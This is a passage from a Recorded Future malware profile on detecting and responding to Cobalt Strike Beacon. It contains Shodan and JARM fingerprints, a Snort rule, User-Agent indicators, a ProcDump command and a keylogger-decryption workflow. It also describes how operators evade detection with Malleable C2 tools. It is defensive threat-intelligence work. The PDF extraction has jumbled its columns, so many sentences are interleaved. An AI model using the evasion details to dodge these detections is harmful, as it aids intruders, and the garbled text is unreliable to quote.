Cobalt Strike Beacon Traffic Detection

Cobalt Strike Beacon is highly customizable. From a traffic
standpoint, it is difficult to account for all possible Beacon• Searching Shodan for ssl.cert.serial:146473198 will
options. However, many threat actors using Beacon do not
identify servers making use of the default SSL certificate,customize it sufficiently to avoid detection.
based on the certificate’s serial number. This is a higher
An example is the default Beacon check-in period. By default,
confidence signal.
• Searching Shodan for product:cobalt will parse Shodan’s Beacon will check in with its C2 server on exact 60-second
intervals. This can be changed using the Beacon sleep commanddataset for the extra space in HTTP and HTTPS header
to alter the time frequency and add a “jitter” which changes the
responses. Due to this rough search, we consider this aintervals to be less regular. But not all actors do so, or do so in a
low to moderate confidence signal.
manner where a regular beacon is still clearly observable.
• Searching Shodan for port:50050 will surface servers
with the Cobalt Strike controller port, 50050 open,
another low confidence signal that must be corroborated
with other data.

Shodan• Searching Shodan section for HTTP headers without theextra space.
• Searching Shodan for the JARM signature, 07d14d16d21d
21d07c42d41d00041d24a458a375ee
f0c576d23a7bab9a9fb1 (note, this returns IPs that could
be associated with Team Servers. Additional analysis isneeded to positively identify Team Servers).

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

16

MALWARE/TOOLS PROFILE

Figure 23: Cobalt Strike Beacon traffic with default 60-second interval (Source: Recorded Future)

As this image illustrates, the Cobalt Strike Beacon can bevery noisy.

alert http any any -> any any (msg:”Cobalt_Strike_Tasking_
POST”; flow:established,to_server; content:”POST”; http_method; content:”submit.php?id=”; fast_pattern; nocase; http_uri; pcre:”/submit\.php\?id=[0-9]{6,11}/U”; sid:52460026;)

For those organizations that can monitor HTTPS traffic, there
are several detection possibilities, including alerting off of known
Cobalt Strike Beacon URLs and HTTP header details such as Figure 24: Snort IDS detection for Cobalt Strike POST Tasking (Source: Recorded Future)
Referers and User-Agents.

Many Cobalt Strike operators, however, are aware of the
One default configuration that could be used as a network
limitationsof the default Beacon settings and do customize
detection for the Cobalt Strike Beacon module is the URL string“/submit.php?id=[9-10 digit string]”. This string is observable in them. One of the common ways of attempting to avoid detection
HTTP POST communications when using some cracked versions is by integrating Malleable C2 profiles with Beacon. Originallyof Cobalt Strike, which may not include all of the bells and introduced in 2014, Malleable C2 profiles allow for greater
whistles of a licensed version. Insikt Group has created a Snort flexibility in how Beacon connects with its C2 server. The
Malleable C2 profiles allow Beacon to mimic a wide array of
IDS detection for variations of this URL string.
systems and devices and communicate with its C2 with various
methods to remain undetected.

Figure 25: Telltale default Cobalt Strike Beacon POST with “/submit.php?id=[9-10 digits]” string visible (Source: Recorded Future)

17

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Figure 26: Breakdown of Malleable C2 profiles by host system in User-Agent string (Source: Recorded Future)

Cobalt Strike provides some Malleable C2 profiles on their being used by financially motivated Cobalt Strike operators. As
GitHub page. These “default” profiles are used by some Cobalt with other Malleable C2 profiles found on GitHub, the defaults
Strike operators, and many profiles produce what would now be still provide detection opportunities, as there are a finite number
considered unusual traffic, such as mimicry of a Windows 2000 of attributes; there are only 8 User-Agent options provided in thesystem. Many profiles contain specific SSL settings that can be GitHub code. These include outdated operating systems.
detected. Some of the Malleable C2 profiles also contain very
Insikt Group undertook an examination of the common
uncommon User-Agents, for example “Mozilla/4.0 (Windows 7
Malleable C2 profiles, analyzing 60 standard Malleable C2
6.1) Java/1.7.0_11 “. Such a User-Agent is rarely seen on a modern
profiles, Malleable-C2-Randomizer profiles, and C2concealer
enterprise network. Creating alerts for such unlikely User-Agents,
profiles. The number of unique strings is less, as several
especially when combined with other detection mechanisms, canMalleable C2 profiles use the same strings as others.
provide early warning indications of Cobalt Strike activity on a
Although there are other attributes of the profiles that can
network.
be examined, we focused on the User-Agent strings within the
The complementary Malleable-C2-Randomizer code
profiles as a key indicator.
available on GitHub allows for substitution of metadata to
An examination of the operating systems defined in the Userrender pure string detection of the profiles ineffective. As the
profiles created are now dated to 2017, there are also anomalies Agents of these Cobalt Strike profiles showed that 45% identify
generated when a Cobalt Strike operator uses these randomized the source host as a Windows 7 system; another 15% of the
profiles. In 2020, FortyNorthSecurity released the C2concealer profiles identify as Windows 2000, Vista, or XP. If an organization
software on GitHub. This command-line tool generates Malleable is no longer operating these legacy Windows systems on their
C2 profiles for use with Cobalt Strike, allowing for alteration network, alert logic for traffic as defined by User-Agents for suchand substitution of various strings to circumvent string-based systems can be created. Other outdated operating systems,
detection signatures. Recorded Future has observed C2concealer including OS X 10.11 and Android 6, both released in 2015, arealso found in the profiles.

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

18

MALWARE/TOOLS PROFILE

Figure 27: Breakdown of Malleable C2 profiles by browser version in user-agent string (Source: Recorded Future)

Similarly, a review of the browser versions used in these
Additionally, analysis tools geared towards helping analysts
common Malleable C2 profiles showed that these often mimic examine Cobalt Strike activity post-detection provide additionalvery old versions of browser software. Although some of the insights and context to their response and analysis phases. Suchprofiles either use a non-browser User-Agent or do not identify tools include:
the browser, 25% of them use Internet Explorer 10 or earlier
1. Sentinel-One’s Beacon Parser to extract configuration
versions (replaced in 2013 by version 11). Over 30% use versions
from a Beaconof Firefox, Chrome or Safari that were released in 2016 or before.
2. Diddier Stevens tool to decrypt Cobalt Strike traffic
Although some users on a corporate network may be using
3. NCC Groups tool to assist in decrypting Cobalt Strike
outdated browsers, a Malleable C2 profile using one of these
traffic
User-Agents should be unusual if not unique on a network.
In addition to the above tools, there are multi-functional
In summary, old and outdated versions of operating systems
toolsets
aimed at analyzing Beacons and interacting with a live
and software are common in Cobalt Strike Malleable C2 UserTeam
Server,such as:Agents available on GitHub. Some attackers will have addressed
this problem, but many go the easy route and use Malleable
1. RomanEmelyanov CobaltStrikeForensic
C2 profiles that have already been written. The use of these
2. Te-k - Cobalt Strike Resources
profiles presents the network defender with opportunities to
A walkthrough of JARM scanning and Beacon extracting
detect those attackers.
using Te-k resources can be found here, Analyzing Cobalt Strikefor Fun and Profit.

Advanced Detection and Automation

With so many detections and tools available, it is sometimes
Many detections and analysis techniques have been shared difficult to craft an effective response. We have outlined 2
with the community for Cobalt Strike in the past few months. In scenarios below to demonstrate an application of detection
the SigmaHQ GitHub repository, there are currently 18 Cobalt engineering, response, and automation.
Strike-related rules. In addition to IDS rules developed during
our research, there are numerous Cobalt Strike SNORT rules
available here.

19

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Figure 28: Cobalt Strike Keylogger detection and response workflow (Source: Recorded Future)

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

20

MALWARE/TOOLS PROFILE

Cobalt Strike Keylogger Detection and Response

Once a Cobalt Strike alert is received, the priority should
be to identify what keylogging activity has been captured. To
The workflow in Figure 30 details the detection and response
inspect the keylogging activity the encrypted keystrokes need toof keylogging activity by Cobalt Strike. However, this may be
be decrypted. The decryption process requires a memory dump
reused for different types of Cobalt Strike tasking. This workflow
of the Cobalt Strike Beacon process and a collection of network
uses our IDS rule “Cobalt_Strike_Tasking_POST’’ for the initialtraffic containing the encrypted keystroke. This process can bedetection and then combines the research efforts of Didier
automated if SOAR capabilities exist, but can also be performed
Stevens and NCC group to decrypt the Keylogger traffic.
manually.

Cobalt Strike Keylogger Detection

To create a memory dump of the Cobalt Strike Beacon
process, you can use a tool like ProcDump with the command seen
The detection section is dependent on your visibility andin Figure 33. Some EDR solutions will include this functionality.
configuration of your SIEM and IDS. In this scenario, the IDS alert
from our rule “Cobalt_Strike_Tasking_POST” is sent to the SIEM,
which initiates the automated response actions.
procdump.exe -mp -s 2 -n 20 <process name or pid>
Figure 31: ProcDump command needed to generate a memory dump of a Cobalt Strike Beacon
Process (Source: Recorded Future)

The next objective will be to collect the network
communications and attempt to extract the AES keys fromthe memory dump and decrypt the keystrokes. Sources of
network communication will vary depending on your toolsets,organizations with full-packet capture technologies can use
those toolsets, additionally, setting your IDS to log the traffic
associated with alerts can also provide the needed network
communication. These steps are best done automatically if suchcapability exists.
Figure 29: Cobalt Strike Keylogger Detection (Source: Recorded Future)

Cobalt Strike Keylogger Response and Automation

The steps for this objective are as follows:
1. Collect network traffic (IDS, Networking Tools)

2. Run the Insikt Group Python script “CobaltStrike_The response/automation section requires the ability to
Keylogger_Decryptor” to decrypt and extract keylogger
automatically execute tools including a Python script and retrieve
data
the results from your endpoint(s); most Endpoint Detection and
The Insikt Group Python script mentioned above combines
Response tools provide this capability. Built-in Windows tools
theresearch of Didier Stevens and NCC group to extract thesuch as PowerShell can also be used if the response team has
AES key from the memory dump and decrypt the payload from a
sufficient privileges.
supplied PCAP. Figure 34 shows the resulting output.

Figure 30: Cobalt Strike Keylogger Response and Automation (Source: Recorded Future)

21

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

Figure 32: Cobalt Strike Keylogger Decoder Output (Source: Recorded Future)

Cobalt Strike Keylogger Containment, Analysis, andEradication

While this would not block the initial infection vector, like aphishing email or HTML Application (HTA), it would prevent thefirst stage from communicating to its Team Server to download
At this stage in the response, an analyst now has a goodthe second stage Beacon. This workflow is depicted in Figure
understanding of the depth of the incident and can follow
36 below.
documented procedures for containment, eradication, andclosure.

Figure 34: Cobalt Strike Team Server Block List (Source: Recorded Future)

Figure 33: Cobalt Strike keylogger containment/analysis/eradication (Source: Recorded Future)

Cobalt Strike C2 Blocking
Recorded Future uses the methods described in the Team
Server Detection section as well as private sources to identify
Cobalt Strike Team Servers. Our Team Server C2s are maintainedin our Command and Control list. Adding our Command andControl list as a blocklist to your proxy or firewall can proactively
block Cobalt Strike communication back to the Team Server.

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

22

MALWARE/TOOLS PROFILE

OutlookBased on the rise of interest in Cobalt Strike on undergroundforums, the continued development of the Cobalt Strikeframework, and the size of the existing user base, Cobalt Strikewill continue to be a threat in the future. References to threat
actors attempting to acquire Cobalt Strike on the dark web
have increased significantly in the past year. Cobalt Strike has
released new versions with large feature updates on a regularbasis, with no signs of slowing down. Finally, Insikt Group tracks
a large number of Cobalt Strike-related projects released by thebroader security research community. This level of free supportand investment in the tool will likely make it a strong candidate
for a large variety of threat actors to make use of.

23

MTP-2021-0914

Recorded Future ® | www.recordedfuture.com

MALWARE/TOOLS PROFILE

About Recorded Future
Recorded Future is the world’s largest provider of intelligence for enterprisesecurity. By combining persistent and pervasive automated data collection and analytics
with human analysis, Recorded Future delivers intelligence that is timely, accurate,
and actionable. In a world of ever-increasing chaos and uncertainty, Recorded Futureempowers organizations with the visibility they need to identify and detect threats
faster; take proactive action to disrupt adversaries; and protect their people, systems,
and assets, so business can be conducted with confidence. Recorded Future is trusted
by more than 1,000 businesses and government organizations around the world.
Learn more at recordedfuture.com and follow us on Twitter at @RecordedFuture.

www.recordedfuture.com | Recorded Future ®

MTP-2021-0914

24